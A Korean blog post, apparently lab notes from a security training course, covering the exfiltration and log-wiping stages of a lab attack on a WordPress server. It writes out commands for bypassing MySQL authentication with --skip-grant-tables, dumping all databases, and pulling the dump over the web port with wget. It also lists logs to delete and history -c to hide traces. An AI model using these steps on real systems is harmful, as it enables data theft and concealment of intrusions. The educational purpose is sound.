fngs.kr | 7. 정보유출 및 방어회피
fngs.kr 7. 정보유출 및 방어회피 단계
본 내용 및 실습 환경은 KISEC, 케이쉴드 주니어 교육 과정에 있음을 알려드립니다.
이전 내용
리버스 쉘을 통한 접근 및 백도어 텔넷을 통한 추가적 움직임을 진행했다. ROOT 권한까지 진행했습니다.
Exfiltration
정보 유출은 공격자가 네트워크에서 데이터를 훔치는 데 사용할 수 있는 기술로 구성됩니다. 일단 데이터를 수집하면 공격자는 데이터를 제거하는 동안 탐지를 피하기 위해 종종 패키지를 만듭니다.
여기에는 압축 및 암호화가 포함될 수 있습니다. 대상 네트워크에서 데이터를 가져오는 기술에는 일반적으로 명령 및 제어 채널 또는 대체 채널을 통해 데이터를 전송하는 것이 포함되며 전송에 크기 제한을 두는 것도 포함될 수 있습니다.
이번에는 데이터베이스의 데이터를 탈취해보겠습니다.
Exfiltration Over Web Service
공격자는 기본 명령 및 제어 채널이 아닌 기존의 합법적인 외부 웹 서비스를 사용하여 데이터를 유출할 수 있습니다.
유출 메커니즘으로 작동하는 인기 있는 웹 서비스는 네트워크 내의 호스트가 손상되기 전에 이미 해당 호스트와 통신할 가능성으로 인해 상당한 양의 커버를 제공할 수 있습니다.
해당 웹 서비스는 Wordpress로 기본적인 80번 포트로 정보를 제공해준다. 따라서, 데이터베이스의 내용을 dump하여 디렉토리 인덱싱처럼 접근하여 탈취를 진행한다.
mysql를 접근하려면 mysql에 대한 비밀번호까지 필요하다.
mysqld_safe는 일종의 mysqld를 감시하는 데몬이라고 볼 수 있는데, 사용자가 mysqld_safe로 MySQL을 시작하면 mysqld_safe이 내부 스크립트에서 mysqld를 실행하고 mysqld 프로세스를 모니터링하고, 어떤 문제로 mysqld가 강제 종료하면 mysqld를 다시 시작하게 합니다.
mysql을 실행할 때에 table grant권한을 생략하고 실행을 할 수 있습니다. 즉, 패스워드가 설정되어 있는 모든 사용자들이 패스워드 없이 mysql에 바로 접속을 할 수 있기 때문에 주로 mysql root계정의 비밀번호를 잊어 버렸을 경우에 table grant권한을 생략하여 mysql을 실행시킨 다음 mysql root사용자의 비밀번호를 변경하는 용도로 많이 사용됩니다.
service mysql stop # For Safe Access
mysqld_safe --skip-grant-tables & # 권한 생략 접근
mysqldump --all-databases > hack.sql # 모든 내용 hack.sql로 백업
pkill mysqld # mysql demon 프로세스 종료
service mysql start # mysql 재시작
유출할 정보를 어떻게 옮길 지 아래와 같은 절차를 생각해 볼 수 있다.
- 경로를 무엇으로 정할 것인지?
- 임의 포트를 열어서 탈취한다.
- 탐지가 쉽다.
- 이미 사용중인 포트를 이용해서 탈취한다.
- Wordpress 웹 서비스를 위한 80번 포트가 열려있다.
따라서,
/var/www/wordpress를 디렉토리에 해당 파일을 옮겨 웹 접근으로 유출할 수 있을 것이다.
mv hack.sql /var/www/wordpress # 백업 파일 유출 단계
이후 빠져나와서 wget http://192.168.0.140/hack.sql를 진행하면 hack.sql 파일이 생긴 것을 확인 할 수 있다.
파일이 제대로 온 것인지 확인하기 위해 사용 하지 않는 mysql를 초기화 시키고 mysql < hack.sql로 내용을 옮기고 확인해보니 wordpress 항목이 생긴 것을 확인 할 수 있다.
일반적으로 hack.sql와 같이 모든 데이터베이스의 백업 파일은 데이터가 크기 때문에 한 번에 옮기면 탐지에 쉽다.
그렇다면 아주 작게 분할하여 일정한 시간으로 조금씩 탈취하면 탐지가 어렵다.
Defense Evasion
공격자는 항상 흔적을 지우고자 한다. 정보 수집, 침투, 데이터 유출 등 다양한 행위로 남은 로그를 지우는 실습을 한다.
이러한 행위를 TTPs에서는 Defense Evasion(방어 회피)전술이라 말한다.
방어 회피는 공격자가 공격 전반에 걸쳐 탐지를 피하기 위해 사용하는 기술로 구성됩니다. 방어 회피에 사용되는 기술에는 보안 소프트웨어 제거/비활성화, 데이터 및 스크립트 난독화/암호화 등이 있습니다.
이번에 하는 방법으로는 호스트 상에 남은 지표를 삭제 하는 것이다.
Indicator Removal on Host
공격자는 호스트 시스템에서 생성된 아티팩트를 삭제하거나 수정하여 존재 증거를 제거하거나 방어를 방해할 수 있습니다. 다양한 아티팩트가 적에 의해 생성되거나 적의 행동으로 인해 생성될 수 있습니다.
일반적으로 이러한 아티팩트는 다운로드된 파일의 문자열, 사용자 작업에서 생성된 로그 및 방어자가 분석한 기타 데이터와 같이 모니터링되는 이벤트와 관련된 방어 지표로 사용됩니다.
이러한 로그를 제거하면 이벤트 수집, 보고 또는 침입 활동을 감지하는 데 사용되는 기타 프로세스를 방해할 수 있습니다. 이는 주목할만한 이벤트가 보고되지 않는 원인이 되어 보안 솔루션의 무결성을 손상시킬 수 있습니다.
- /var/log/mysql
- SQL Injection을 통한 로그, 백업 로그 등을 삭제
- /var/log/apache2
- 접속 했던 로그, 업로드 및 다운로드 등을 삭제
- /var/log/apt/history.log
apt-get관련 기록을 삭제
- /var/log/auth.log
- 사용자 로그인이나 사용된 인증방법같은 시스템 인증 정보 등을 삭제
- history -c
- 웹 쉘을 통해 사용했던 모든 명령어 기록 삭제